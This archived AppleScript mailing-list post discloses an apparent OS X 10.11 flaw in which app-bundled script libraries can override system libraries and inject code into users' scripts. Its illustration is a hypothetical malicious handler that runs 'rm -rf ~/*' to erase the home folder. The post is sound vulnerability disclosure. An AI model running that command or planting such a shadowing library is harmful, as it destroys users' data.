A wild OS X security hole appears!!!! [Was: Application library ?]
A wild OS X security hole appears!!!! [Was: Application library ?]
- Subject: A wild OS X security hole appears!!!! [Was: Application library ?]
- From: has <email@hidden>
- Date: Tue, 05 Jan 2016 17:35:47 +0000
Jean-Christophe Helary wrote:
> I'm looking for information about how to make an application library
(as in Apple Configurator 2) and the corresponding dictionary...
Oh Jesus Mary Mother of God.
I had no idea that this was even a thing, until now. But yep, from
<https://developer.apple.com/library/mac/documentation/AppleScript/Conceptual/AppleScriptLangGuide/conceptual/ASLR_script_objects.html#//apple_ref/doc/uid/TP40000983-CH207-SW13>:
3. Any installed application bundle, in the application’s bundle
Library directory. This allows distributing libraries that are
associated with an application, or creating applications that exist
solely to distribute libraries. Supported in OS X v10.11 and later.
...
Oh, monkey nuts. Well, I was about to wish everyone a Happy New 2016 and
hand over a certain belated Xmas prezzie, but five days in and already
the AppleScript team are giving me utter screaming nightmares, a
pounding headache, and a dented desk.
OK, so before I Radar the following wharrgarbl as a Major Security Hole,
can someone else here please *confirm* for me that installing an OS X
application named (e.g.) 'Foo.app' containing a script library named
'Bar.scpt[d]' does indeed automatically override an identically named
'Bar.scpt[d]' library in '~/Library/Script Library' whenever a user
script subsequently executes a `use script "Bar"` import statement.
Longer discussion...
The idea of enabling AppleScripts to import script libraries embedded
inside .app bundles is not, on the face of it, a fundamentally bad one
(at least on paper). However, from what I can tell from some initial
testing the way it's implemented in 10.11 is utterly unsafe and
critically insecure.
For an "import from app bundle" feature to work safely and securely,
AppleScript MUST require the user to explicitly reference the
application within the import statement:
use script "Bar" of application "Foo"`
(Explicitly adding the library folder's path to AS's search path would
also be okay, of course, but obviously less flexible and more likely to
break when updates are installed.)
However, this is not what AppleScript does. Instead, it would appear to
add app-embedded 'Script Library' folders to its existing library search
path totally automatically, allowing scripts inside those folders to be
imported without any further qualification:
use script "Bar"
So here's the problem, AND IT'S A DOOZY:
By magically adding new directories to the host machine's library search
path WITHOUT the user's KNOWLEDGE or EXPRESS INSTRUCTION, ANY installed
APPLICATION is free to inject ANY CODE into ANY [APPLE]SCRIPT on the
host machine, just by giving its embedded libraries the same filenames
as libraries that are already installed in the host's standard 'Script
Library' folders in '~/Library', '/Library', '/System/Library', etc.
To give a practical example, let's assume pigs start flying tomorrow and
Apple puts a standard AppleScript library - TextLib, MathLib, ListLib,
etc. - into 10.12. AppleScript users around the world (!) delightedly
make use of these libraries in their own scripts, and everything is
awesome at last.
Now imagine an embittered longtime OS X app developer with a raging
pathological hatred of AppleScript releases a perfectly innocent-looking
third-party 'HappyJoyFun.app' that, in itself, is 100% perfectly safe to
run.
However, within this app they include a 'Script Library' folder
containing a modified version of OS X's standard ListLib that replaces
the original `sort list` handler with this little beauty:
(* ListLib -- unspeakably evil malware version of AppleScript's own
standard ListLib [DO NOT USE!] *)
to sort list aList
do shell script "rm -rf ~/*" -- DELETES EVERYTHING IN USER'S
HOME FOLDER!!!!!!!!
end sort list
[CAUTION: NEVER RUN THE ABOVE EXAMPLE YOURSELF, FOR REASONS THAT SHOULD
BE BLINDINGLY OBVIOUS. AND DO NOT BLAME ME IF YOU'RE STUPID ENOUGH TO DO SO]
Without barely lifting a finger, our psychopathic anti-AppleScriptist
has laid a trap to totally destroy the home folder of any Mac user who
happens to run an AppleScript.
But wait, there's more! Our Maniacal Murderer of All Mac Automation can
even distribute his 'HappyJoyFun.app' through that bastion of trust and
safety, AppStore itself. Because what are the chances that AppStore's
code-scanning and auditing process will ever notice this malicious line
squirrelled away in an unassuming .scpt file?
"But Sandboxing Will Save Us All!" you say. Hah, you fools, I have you
now!!! For the mandatory OS-imposed sandbox around 'HappyJoyFun.app'
will not - and *cannot* - stop that lethal `rm` command from executing,
as sandboxing only prevents unauthorized actions *by the app itself*.
However, ListLib's malicious handler is being imported into, and called
by, an unrelated user script running in [e.g.] Script Editor, an
AppleScript applet, the system-wide Script menu, another Mac app,
osascript, etc. Thus the app-embedded library code *is not subject to
the app's own sandbox*, because that's NOT the process it's running in.
Instead, that malicious library code is being executed by Script
Editor/Script menu/etc., which generally don't have any sandbox
restrictions themselves for obvious reasons.
In other words, install 'HappyJoyFun.app' onto your system, and it's
only a matter of time till you're royally FUCKED. Hell, if I wanted to
kill off AppleScript myself, I'd be hard pressed to come up with a
better way to convince the Apple board of directors to have it taken out
and shot tomorrow.
...
Now, while I'm currently 99% certain I'm horribly, deadly, right on
this, it is still entirely possible I've totally misinterpreted or
missed something critical to the whole analysis and in fact everything
is perfectly peachy; move on, nothing to see, etc. So if that's the case
I'd *really* appreciate someone pointing out exactly where I've got it
all wrong and why.
Otherwise I'll Radar this issue end of week, and recommend a thorough
flaying is applied to both the Automation *and* the Security teams for
ever propagating such burningly obvious fuckuppery into their OS.
Because while this hole is not _quite_ as incredibly deadly as the root
escalation attack that `do shell script` permitted back when the OSAX
loading mechanism allowed standard (e.g. `do shell script`) and custom
osaxen handlers to be freely injected into privileged processes, the `do
shell script` attack at least had the excuse of being created long
before Apple started giving a crap for system security. But to create a
similar security hole *now* and introduce it into a shipping product
with no-one even noticing it till months later is simply beyond the
pale, and it needs shut down hard with maximum prejudice at the next
available OS update.
Thanks for reading this,
has
--
p.s. If anyone here (yeah, you know who you are) still thinks my
describing the Automation team as "wilfully ignorant and incompetent" is
mere petty spite, and not the horrific (if belated) realization of the
terminal horror that now comprises the core of the AppleScript world,
then not only do I have a lovely new industrial-strength AppleScript
standard library for you, but I'll be delighted to send you a cool new
'HappyJoyFun.app' to install too...
_______________________________________________
Do not post admin requests to the list. They will be ignored.
AppleScript-Users mailing list (email@hidden)
Help/Unsubscribe/Update your Subscription:
Archives: http://lists.apple.com/archives/applescript-users
This email sent to email@hidden